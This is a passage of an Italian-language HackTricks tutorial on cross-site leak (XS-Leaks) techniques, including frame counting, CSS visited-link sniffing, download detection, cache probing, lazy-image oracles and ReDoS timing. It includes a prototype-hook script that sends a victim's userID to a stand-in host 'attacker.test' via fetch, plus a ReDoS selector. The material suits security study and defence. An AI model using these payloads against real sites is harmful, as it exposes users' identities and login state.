Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare continuamente il numero di frame può aiutare a identificare un pattern che potrebbe leak informazioni.

Un esempio di questa tecnica è che in Chrome, un PDF può essere rilevato con il conteggio dei frame perché internamente viene utilizzato un embed. Esistono Open URL Parameters che permettono un certo controllo sul contenuto come zoom, view, page, toolbar dove questa tecnica potrebbe risultare interessante.

HTMLElements

La perdita di informazioni tramite elementi HTML è un problema nella sicurezza web, specialmente quando file media dinamici sono generati in base a informazioni sull’utente, o quando vengono aggiunte watermark che alterano la dimensione del media. Questo può essere sfruttato da un attacker per differenziare tra possibili stati analizzando le informazioni esposte da certi elementi HTML.

Information Exposed by HTML Elements

  • HTMLMediaElement: Questo elemento rivela la duration e i tempi buffered del media, accessibili tramite la sua API. Read more about HTMLMediaElement
  • HTMLVideoElement: Espone videoHeight e videoWidth. In alcuni browser sono disponibili proprietà aggiuntive come webkitVideoDecodedByteCount, webkitAudioDecodedByteCount e webkitDecodedFrameCount, che offrono informazioni più dettagliate sul contenuto multimediale. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Questa funzione fornisce dettagli sulla qualità di riproduzione video, inclusi totalVideoFrames, che possono indicare la quantità di dati video processati. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Questo elemento leak le proprietà height e width di un’immagine. Tuttavia, se un’immagine è invalida, queste proprietà ritorneranno 0 e la funzione image.decode() verrà rifiutata, indicando il fallimento nel caricare correttamente l’immagine. Read more about HTMLImageElement

CSS Property

Le applicazioni web possono modificare lo styling del sito a seconda dello stato dell’utente. CSS cross-origin può essere incorporato nella pagina dell’attaccante tramite l’elemento HTML link, e le regole verranno applicate alla pagina dell’attaccante. Se una pagina modifica dinamicamente queste regole, un attacker può rilevare queste differenze in base allo stato dell’utente.
Come tecnica di leak, l’attaccante può usare il metodo window.getComputedStyle per leggere proprietà CSS di un elemento HTML specifico. Di conseguenza, un attacker può leggere proprietà CSS arbitrarie se l’elemento interessato e il nome della proprietà sono noti.

CSS History

Tip

Secondo questo, questo non funziona in headless Chrome.

Il selettore CSS :visited viene utilizzato per stilizzare diversamente gli URL se sono stati visitati in precedenza dall’utente. In passato, il metodo getComputedStyle() poteva essere impiegato per identificare queste differenze di stile. Tuttavia, i browser moderni hanno implementato misure di sicurezza per evitare che questo metodo riveli lo stato di un link. Queste misure includono il fatto che il computed style venga restituito sempre come se il link fosse visited e la restrizione degli stili che possono essere applicati con il selettore :visited.

Nonostante queste restrizioni, è possibile discernere lo stato di visita di un link indirettamente. Una tecnica prevede di indurre l’utente a interagire con un’area influenzata dal CSS, utilizzando specificamente la proprietà mix-blend-mode. Questa proprietà consente la fusione degli elementi con lo sfondo, potenzialmente rivelando lo stato visited in base all’interazione dell’utente.

Inoltre, la rilevazione può essere ottenuta senza interazione dell’utente sfruttando i tempi di rendering dei link. Poiché i browser possono renderizzare in modo differente link visited e unvisited, ciò può introdurre una differenza di tempo misurabile nel rendering. Un PoC è stato menzionato in un bug report di Chromium, che dimostrava questa tecnica usando più link per amplificare la differenza temporale, rendendo così lo stato visited rilevabile tramite analisi di timing.

Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di documentazione:

ContentDocument X-Frame Leak

In Chrome, se una pagina con l’intestazione X-Frame-Options impostata su “deny” o “same-origin” viene incorporata come object, appare una pagina di errore. Chrome restituisce in modo particolare un oggetto document vuoto (invece di null) per la proprietà contentDocument di questo object, a differenza degli iframe o di altri browser. Gli attacker potrebbero sfruttare questo rilevando il documento vuoto, potenzialmente rivelando informazioni sullo stato dell’utente, specialmente se gli sviluppatori impostano in modo incoerente l’header X-Frame-Options, spesso trascurando le pagine di errore. Consapevolezza e applicazione coerente degli header di sicurezza sono cruciali per prevenire tali leak.

Download Detection

L’header Content-Disposition, nello specifico Content-Disposition: attachment, istruisce il browser a scaricare il contenuto invece di visualizzarlo inline. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che innesca un download di file. Nei browser basati su Chromium esistono alcune tecniche per rilevare questo comportamento di download:

  1. Monitoraggio della download bar:
  • Quando un file viene scaricato nei browser basati su Chromium, compare una barra di download nella parte inferiore della finestra.
  • Monitorando i cambiamenti nell’altezza della finestra, gli attacker possono inferire la comparsa della download bar, suggerendo che un download è stato avviato.
  1. Download Navigation con iframe:
  • Quando una pagina innesca un download utilizzando l’header Content-Disposition: attachment, non causa un evento di navigazione.
  • Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposition del contenuto causa un download di file (nessuna navigazione) oppure no.
  1. Download Navigation senza iframe:
  • Simile alla tecnica con iframe, questo metodo utilizza window.open invece dell’iframe.
  • Monitorando gli eventi di navigazione nella nuova finestra aperta si può scoprire se è stato innescato un download di file (nessuna navigazione) o se il contenuto viene visualizzato inline (avviene la navigazione).

In scenari in cui solo gli utenti autenticati possono innescare tali download, queste tecniche possono essere usate per inferire indirettamente lo stato di autenticazione dell’utente basandosi sulla risposta del browser alla richiesta di download.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

Se un sito example.com include una risorsa da *.example.com/resource allora quella risorsa avrà la stessa chiave di caching come se la risorsa fosse stata richiesta direttamente tramite navigazione top-level. Questo perché la cache key è composta dal top-level eTLD+1 e dal frame eTLD+1.

Poiché accedere alla cache è più veloce che caricare una risorsa, è possibile provare a cambiare la location di una pagina e annullarla dopo 20ms (per esempio). Se l’origin è cambiato dopo lo stop, significa che la risorsa era nella cache.
Oppure si può semplicemente inviare qualche fetch alla pagina potenzialmente cached e misurare il tempo che impiega.

Manual Redirect

Fetch with AbortController

Usa fetch e setTimeout con un AbortController per tentare sia di rilevare se una risorsa è cached sia per rimuovere (evict) una specifica risorsa dalla cache del browser. Inoltre, il processo avviene senza fare il caching di nuovo contenuto.

Script Pollution

Prototype hooks to exfiltrate module-scoped data

Pre-definisci Function.prototype.default e Function.prototype.__esModule = 1 prima di caricare un module in modo che la sua export default invochi il tuo hook (es. riceve {userID: ...}), permettendoti di leggere valori a scope di module senza ricorrere a timing o brute force.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

La richiesta stessa diventa anche un login-state oracle se lo script viene caricato solo per utenti autenticati.

Service Workers

Nello scenario descritto, l’attaccante registra un service worker in uno dei suoi domini, specificamente “attacker.com”. Successivamente, l’attaccante apre una nuova finestra sul sito target dal documento principale e istruisce il service worker ad avviare un timer. Mentre la nuova finestra inizia a caricarsi, l’attaccante naviga il riferimento ottenuto nel passo precedente verso una pagina gestita dal service worker.

Al ricevimento della richiesta avviata nello step precedente, il service worker risponde con un codice di stato 204 (No Content), interrompendo di fatto la navigazione. A questo punto il service worker cattura una misura dal timer avviato al passo due. Questa misura è influenzata dalla durata del JavaScript che causa ritardi nel processo di navigazione.

Warning

In an execution timing è possibile eliminare i network factors per ottenere misurazioni più precise. Per esempio, caricando le risorse usate dalla pagina prima di caricarla.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Inclusion Methods: HTML Elements (script), Frames
  • Detectable Difference: DNS/HTTP load success, CORB/header changes
  • Summary: Se gli identificatori risiedono nelle etichette dei sottodomini (es., www.<username>.sb.facebook.com), richiedi risorse su host candidati e considera onload vs onerror/timeouts come un Boolean. Combina con login-only scripts (es., /signals/iwl.js) per brute-force dei nomi utente e verificare l’autenticazione verso proprietà correlate.
  • Note: Signals can be amplified with different inclusion types (script, iframe, object) to detect X-Frame-Options, CORB, or redirect differences per candidate.

With HTML or Re Injection

Qui trovi tecniche per exfiltrate informazioni da un cross-origin HTML inserendo contenuto HTML. Queste tecniche sono interessanti nei casi in cui, per qualunque motivo, puoi inject HTML ma non puoi inject JS code.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Se hai bisogno di exfiltrate content e puoi add HTML previous to the secret dovresti controllare le common dangling markup techniques.
Tuttavia, se per qualunque motivo MUST farlo char by char (magari la comunicazione avviene tramite un cache hit) puoi usare questo trucco.

Immagini in HTML hanno un attributo “loading” il cui valore può essere “lazy”. In tal caso, l’immagine verrà caricata quando viene visualizzata e non durante il caricamento della pagina:

<img src=/something loading=lazy >

Quindi, quello che puoi fare è aggiungere molti caratteri di riempimento (Per esempio migliaia di “W”) per riempire la pagina web prima del segreto o aggiungere qualcosa come <br><canvas height="1850px"></canvas><br>.
Poi, se ad esempio la nostra injection appare prima della flag, l’immagine verrebbe caricata, ma se appare dopo la flag, la flag + i caratteri di riempimento impediranno che venga caricata (dovrai giocare con la quantità di caratteri di riempimento da inserire). Questo è quello che è successo in this writeup.

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

Tuttavia, fai in modo che il bot acceda alla pagina con qualcosa come

#:~:text=SECR

Quindi la pagina web sarà qualcosa come: https://victim.com/post.html#:~:text=SECR

Dove post.html contiene i junk chars dell’attaccante e un’immagine lazy-load e poi viene aggiunto il segreto del bot.

Questo testo farà sì che il bot acceda a qualsiasi testo nella pagina che contenga il testo SECR. Poiché quel testo è il segreto ed è appena sotto l’immagine, l’immagine verrà caricata solo se il segreto indovinato è corretto. Ecco quindi il vostro oracle per esfiltrare il segreto carattere per carattere.

Un esempio di codice per sfruttare questo: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading basato sul tempo

Se non è possibile caricare un’immagine esterna che potrebbe indicare all’attaccante che l’immagine è stata caricata, un’altra opzione sarebbe provare a indovinare il carattere più volte e misurare questo. Se l’immagine viene caricata tutte le richieste richiederebbero più tempo rispetto a quando l’immagine non viene caricata. Questo è ciò che è stato usato nella solution of this writeup riassunto qui:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Se viene usato jQuery(location.hash), è possibile scoprire tramite il timing se esiste del contenuto HTML, questo perché se il selettore main[id='site-main'] non corrisponde non è necessario controllare il resto dei selettori:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Contromisure

Ci sono mitigazioni raccomandate in https://xsinator.com/paper.pdf e anche in ogni sezione della wiki https://xsleaks.dev/. Consulta quelle risorse per maggiori informazioni su come proteggersi da queste tecniche.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks